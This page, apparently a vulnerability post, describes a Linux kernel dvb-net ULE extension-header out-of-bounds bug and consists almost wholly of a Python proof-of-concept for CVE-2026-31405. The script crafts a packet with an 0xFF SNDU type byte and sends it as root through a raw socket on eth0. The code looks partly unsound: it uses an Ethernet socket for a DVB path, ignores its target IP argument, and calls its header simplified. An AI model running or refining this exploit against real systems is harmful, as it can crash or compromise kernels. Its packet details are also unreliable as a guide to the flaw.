Linux内核 dvb-net ULE扩展头越界访问漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-31405 This script demonstrates crafting a network packet to trigger the OOB access. Note: Actual exploitation requires a specific environment and DVB interface. """ import socket import struct def create_malicious_ule_packet(): # ULE header structure is simplified for demonstration. # The goal is to set ule_sndu_type such that (ule_sndu_type & 0x00FF) == 255 (0xFF) # Destination MAC (placeholder) dest_mac = b'\x00' * 6 # SNDU Type: Setting the lower byte to 0xFF triggers the htype=255 condition # This causes the index to be 255, leading to OOB access on an array of size 255. sndu_type = struct.pack('!H', 0x00FF) # Payload (can be arbitrary) payload = b'A' * 64 # Assemble packet packet = dest_mac + sndu_type + payload return packet def send_exploit(interface, target_ip): try: # Create a raw socket (requires root privileges) # Protocol type may vary depending on the specific DVB encapsulation s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) packet = create_malicious_ule_packet() print(f"[*] Sending malicious packet to trigger OOB in dvb-net...") s.sendto(packet, (interface, 0)) print("[+] Packet sent.") s.close() except PermissionError: print("[-] Error: This script requires root privileges to send raw packets.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Usage: sudo python3 poc.py send_exploit("eth0", "192.168.1.100")